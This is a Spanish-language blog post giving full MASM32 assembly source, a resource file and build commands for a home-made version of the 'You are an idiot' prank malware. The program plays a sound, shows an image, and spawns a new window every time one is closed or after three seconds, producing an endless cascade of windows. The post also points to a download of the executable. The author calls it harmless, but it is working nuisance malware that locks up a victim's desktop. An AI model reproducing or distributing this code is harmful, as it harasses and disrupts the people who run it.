Eres un idiota, malware

El malware llamado “eres un idiota” es molesto, pero inofensivo. Yo hice hace unos años mi propia versión en no mas de 15 lineas escritas en c#:

El fin de semana me propuse reescribirlo en masm32, usando solo las api de windows y el notepad. Acá el resultado:

.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include	\masm32\include\gdi32.inc
include \masm32\include\winmm.inc

includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\winmm.lib
includelib \masm32\lib\gdi32.lib
			 
WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.data
ClassName db "SimpleVirus",0
AppName  db "virus macri",0
formato db "WAVE",0

.data?
hInstance HINSTANCE ?
CommandLine LPSTR ?
hBitmap dd ?
ThreadID DWORD ?

.const
ID_BIMAP equ 8000
ID_ICONO equ 7000
ID_WAVE	equ	6000
.code
start:
	invoke GetModuleHandle,NULL
	mov	hInstance,eax
	invoke GetCommandLine
	mov    CommandLine,eax
	invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
	invoke ExitProcess,eax


WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
	LOCAL wc:WNDCLASSEX
 	LOCAL msg:MSG
 	LOCAL hwnd:HWND
	mov   wc.cbSize,SIZEOF WNDCLASSEX
 	mov   wc.style, CS_HREDRAW or CS_VREDRAW
 	mov   wc.lpfnWndProc, OFFSET WndProc
 	mov   wc.cbClsExtra,NULL
 	mov   wc.cbWndExtra,NULL
	push  hInstance
	pop   wc.hInstance
	mov   wc.hbrBackground,COLOR_WINDOW+1
	mov   wc.lpszMenuName,NULL
	mov   wc.lpszClassName,OFFSET ClassName
	invoke LoadIcon,NULL,ID_ICONO
	mov wc.hIcon,eax
	mov	wc.hIconSm,eax
	invoke LoadCursor,NULL,IDC_ARROW
	mov   wc.hCursor,eax
	invoke RegisterClassEx, addr wc
	invoke CreateWindowEx,NULL,ADDR ClassName,ADDR AppName,WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,CW_USEDEFAULT,375,375,NULL,NULL,hInst,NULL
	mov   hwnd,eax
	invoke ShowWindow, hwnd,SW_SHOWNORMAL
	invoke UpdateWindow, hwnd
	.while TRUE
		invoke GetMessage, ADDR msg,NULL,0,0
  	.break .if (!eax)
  		invoke TranslateMessage, ADDR msg
  		invoke DispatchMessage, ADDR msg
 	.endw
	mov     eax,msg.wParam
 	ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
	LOCAL	hdc:HDC 
	LOCAL	ps:PAINTSTRUCT 
	LOCAL	hMemDC:HDC
	LOCAL 	rect:RECT
	LOCAL	hRes:DWORD
	LOCAL	lpRes:DWORD
	 
	.IF uMsg==WM_CREATE
		invoke LoadBitmap,hInstance,ID_BIMAP
		mov hBitmap,eax
		invoke FindResource,hInstance,ID_WAVE,addr formato
		invoke LoadResource,hInstance,eax
		mov hRes,eax
		invoke LockResource,hRes 
		mov lpRes,eax
    	.if lpRes != NULL  
        	invoke sndPlaySound,lpRes,SND_MEMORY or SND_SYNC or SND_NODEFAULT  
        	mov hRes,eax
        .elseif 
        	invoke FreeResource,hRes
    	.endif
		xor eax,eax
		invoke Sleep,3000
		mov  eax,OFFSET WndThread
		invoke CreateThread,NULL,NULL,eax,0,NULL,ADDR ThreadID
        invoke CloseHandle,eax	
	.ELSEIF uMsg==WM_PAINT 
		invoke BeginPaint,hWnd,addr ps
      	mov    hdc,eax
      	invoke CreateCompatibleDC,hdc
      	mov    hMemDC,eax
      	invoke SelectObject,hMemDC,hBitmap
      	invoke GetClientRect,hWnd,addr rect
      	invoke BitBlt,hdc,0,0,rect.right,rect.bottom,hMemDC,0,0,SRCCOPY
      	invoke DeleteDC,hMemDC
      	invoke EndPaint,hWnd,addr ps 
	.ELSEIF uMsg==WM_CLOSE
		invoke GetModuleHandle,NULL
	    mov	hInstance,eax
		mov  eax,OFFSET WndThread
		invoke CreateThread,NULL,NULL,eax,0,NULL,ADDR ThreadID
		invoke CloseHandle,eax
	.ELSE
	invoke DefWindowProc,hWnd,uMsg,wParam,lParam
	ret
	.ENDIF
	xor eax,eax
	ret
WndProc endp

WndThread PROC USES ecx Param:DWORD
	invoke GetModuleHandle,NULL
	mov	hInstance,eax
	invoke GetCommandLine
	mov    CommandLine,eax
	invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
WndThread endp
end start

Comentaré brevemente cómo funciona:

El siguiente código lanza un proceso cuando se cierra el programa o pasan 3 segundos:

invoke CreateThread,NULL,NULL,eax,0,NULL,ADDR ThreadID

Ese hilo lo que hace es lanzar una nueva ventana:

WndThread PROC USES ecx Param:DWORD
	invoke GetModuleHandle,NULL
	mov	hInstance,eax
	invoke GetCommandLine
	mov    CommandLine,eax
	invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
WndThread endp

Las siguiente líneas lanza la musiquita eres un idiota del programa:

	invoke FindResource,hInstance,ID_WAVE,addr formato
		invoke LoadResource,hInstance,eax
		mov hRes,eax
		invoke LockResource,hRes 
		mov lpRes,eax
    	.if lpRes != NULL  
        	invoke sndPlaySound,lpRes,SND_MEMORY or SND_SYNC or SND_NODEFAULT  
        	mov hRes,eax
        .elseif 
        	invoke FreeResource,hRes
    	.endif

En el archivo rsrc.rc guardamos los recursos del programa:

#include "C:\\masm32\\include\\RESOURCE.h"
8000	BITMAP	"macri78.bmp"
7000	icon	"im.ico"
6000	WAVE   "youareanidiot.wav"

El programa se compila de la siguiente manera:

rc /v rsrc.rc
ml /c /coff estupido.asm
link estupido.obj rsrc.res

Puedes descargar el código fuente y el ejecutable desde aquí

Imagino que estará pensando el amigo lector: “¿por qué hacer un loop de ventanas infinita?, ¿eres idiota?”